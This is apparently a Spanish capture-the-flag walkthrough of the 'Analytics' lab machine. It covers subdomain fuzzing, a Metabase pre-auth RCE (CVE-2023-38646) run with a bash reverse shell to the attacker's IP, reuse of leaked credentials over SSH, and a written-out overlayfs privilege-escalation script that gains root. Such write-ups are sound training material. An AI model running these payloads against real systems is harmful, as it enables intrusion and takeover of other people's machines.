Analytics - WriteUp
🎯 Machine Info
Máquina Linux
NMAP:
1
2
3
4
5
6
7
8
9
10
11
12
13
# Nmap 7.94SVN scan initiated Fri Nov 24 12:39:24 2023 as: nmap -sCV -p 22,80 --stylesheet=https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/stable/nmap-bootstrap.xsl -oN targeted -oX targetedXML 10.129.116.182
Nmap scan report for 10.129.116.182
Host is up (0.058s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://analytical.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vemos un VHOST apuntando a “analytical.htb”, actualizamos /etc/hosts y seguimos.
WEB
Posibles usuarios y un correo electrĂłnico.
Si pulsamos sobre Login intenta conectar con el subdominio data. Tendremos que agregarlo a nuestro archivo hosts.
Accedemos de nuevo y vemos la pantalla de login:
FUZZING
Como vemos que puede contener subdominios, vamos a intentar enumerarlos mediante fuzzing por si huberan más.
1
$ wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://analytical.htb' -H "Host: FUZZ.analytical.htb" --hc 302
Parece que solo existe “data”.
Ahora toca hacer un fuzzing de subdirectorios, hemos escondido las páginas con 27 lĂneas de longitud porque está configurado para que devuelva estado 200 en todas las páginas:
1
$ wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hl 27 -t 100 http://data.analytical.htb/FUZZ
Vamos a buscar si existen vulnerabilidades en la API de MetaBase
La vulnerabilidad es https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-38646 y permite ejecutar cĂłdigo sin autenticaciĂłn.
Encontramos un exploit que se adapta a nuestro entorno.
https://github.com/Pyr0sec/CVE-2023-38646/tree/main
El exploit es “Pre-Auth” y requiere de un token que no tenemos para que se lleve a cabo la explotación y conseguir una reverse shell.
En la misma página del exploit nos da una referencia a otra web https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/ y nos explica dónde obtener el token que necesitamos.
Vamos a la ruta que nos indica y buscamos el “setup token” que necesitamos.
Tenemos el token que nos hacĂa falta.
Lanzamos el exploit no sin antes ponernos en escucha con netcat para recibir la reverse shell.
1
$ python3 exploit.py -u http://data.analytical.htb -t 249fa03d-fd94-4d5b-b94f-b4ebf3df681f -c "bash -i >& /dev/tcp/10.10.16.25/9001 0>&1"
Y pa dentro…
Por la IP y el prompt parece que estamos en un contenedor y no en el propio host.
Vamos a enumerar para intentar salir del contenedor.
Empezamos con env
Encontramos unas credenciales:
1
metalytics:An4lytics_ds20223#
Como tiene el puerto 22 abierto, vamos a usarlas para conectar por SSH a la máquina host:
1
2
3
$ ssh metalytics@10.129.116.182
...
Password: An4lytics_ds20223#
Perfecto, estamos en la máquina host!
Registramos la primera bandera y enumeramos…
Vamos a buscar vulnerabilidades de kernel, por si las tuviera.
Encontramos esta: https://www.reddit.com/r/selfhosted/comments/15ecpck/ubuntu_local_privilege_escalation_cve20232640/
Creamos un archivo en /tmp y lo llamaremos exploit.sh y dentro escribiremos lo siguiente:
1
2
3
#!/bin/bash
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'
Le damos permisos de ejecuciĂłn y lo ejecutamos.
1
2
3
4
5
6
7
metalytics@analytics:/tmp$ ./exploit.sh
root@analytics:/tmp# whoami
root
root@analytics:/tmp# cat /root/root.txt
36e6388e8c93cc40fdbaeb585ae010c2
Perfecto! otra bandera para la colecciĂłn!
ANEXO: Otro exploit para compilar con gcc https://github.com/briskets/CVE-2021-3493
Ăšltima actualizaciĂłn: 2024-08-16
Autor: A. Lorente
Licencia: Creative Commons BY-NC-SA 4.0














